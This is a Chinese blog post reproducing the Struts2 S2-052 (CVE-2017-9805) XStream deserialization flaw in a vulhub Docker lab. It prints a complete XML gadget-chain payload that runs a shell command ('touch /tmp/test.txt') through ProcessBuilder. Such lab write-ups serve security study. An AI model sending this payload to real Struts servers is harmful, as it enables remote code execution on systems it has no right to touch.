zoukankan      html  css  js  c++  java
  • Struts2-052 漏洞复现

    s2-052漏洞复现

    参考链接:

    http://www.freebuf.com/vuls/147017.html

    http://www.freebuf.com/vuls/146718.html

    漏洞描述:

    该漏洞由lgtm.com的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。

    当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

    Struts 2.5 – Struts 2.5.12 版本,据称还影响到 2.3.33 版本。

    环境搭建:

    Ubuntu(搭建靶机环境)

    apt install git docker.io docker-compose

    git clone https://github.com/vulhub/vulhub.git

    cd vulhub/struts2/s2-052/

    docker-compose build

    docker-compose up -d

    创建完成

     

    漏洞复现过程:

    向页面发送POC脚本

    # 注意数据包头要有这个

    Content-Type: application/xml

     

    # POST提交的数据

    <map>
    <entry>
         <jdk.nashorn.internal.objects.NativeString>
           <flags>0</flags>
           <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
             <dataHandler>
               <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                 <is class="javax.crypto.CipherInputStream">
                   <cipher class="javax.crypto.NullCipher">
                     <initialized>false</initialized>
                     <opmode>0</opmode>
                     <serviceIterator class="javax.imageio.spi.FilterIterator">
                       <iter class="javax.imageio.spi.FilterIterator">
                         <iter class="java.util.Collections$EmptyIterator"/>
                         <next class="java.lang.ProcessBuilder">
                           <command> # 输入命令段
    <string>touch</string>
    <string>/tmp/test.txt</string>
                           </command>
                           <redirectErrorStream>false</redirectErrorStream>
                         </next>
                       </iter>
                       <filter class="javax.imageio.ImageIO$ContainsFilter">
                         <method>
                           <class>java.lang.ProcessBuilder</class>
                           <name>start</name>
                           <parameter-types/>
                         </method>
                         <name>foo</name>
                       </filter>
                       <next class="string">foo</next>
                     </serviceIterator>
                     <lock/>
                   </cipher>
                   <input class="java.lang.ProcessBuilder$NullInputStream"/>
                   <ibuffer/>
                   <done>false</done>
                   <ostart>0</ostart>
                   <ofinish>0</ofinish>
                   <closed>false</closed>
                 </is>
                 <consumed>false</consumed>
               </dataSource>
               <transferFlavors/>
             </dataHandler>
             <dataLen>0</dataLen>
           </value>
         </jdk.nashorn.internal.objects.NativeString>
         <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
       </entry>
       <entry>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
       </entry>
     </map>

    通过执行touch命令,我们可以在目标主机生成任意文件。

    这里我通过验证脚本进行了测试

     

  • 相关阅读:
    JavaScript按纯数字排序
    用jQuery监听浏览器窗口的变化
    jquery-jtemplates.js模板应用
    art-template模板应用
    JavaScript判断当前手机是Android还是iOS系统
    JavaScript数组转字符串,字符串转数组
    JavaScript数字转字符串,字符串转数字
    Play framework 安装
    JQuery判断数组中是否包含某个字符串
    js获取页面宽度高度及屏幕分辨率
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/8124317.html
Copyright © 2011-2022 走看看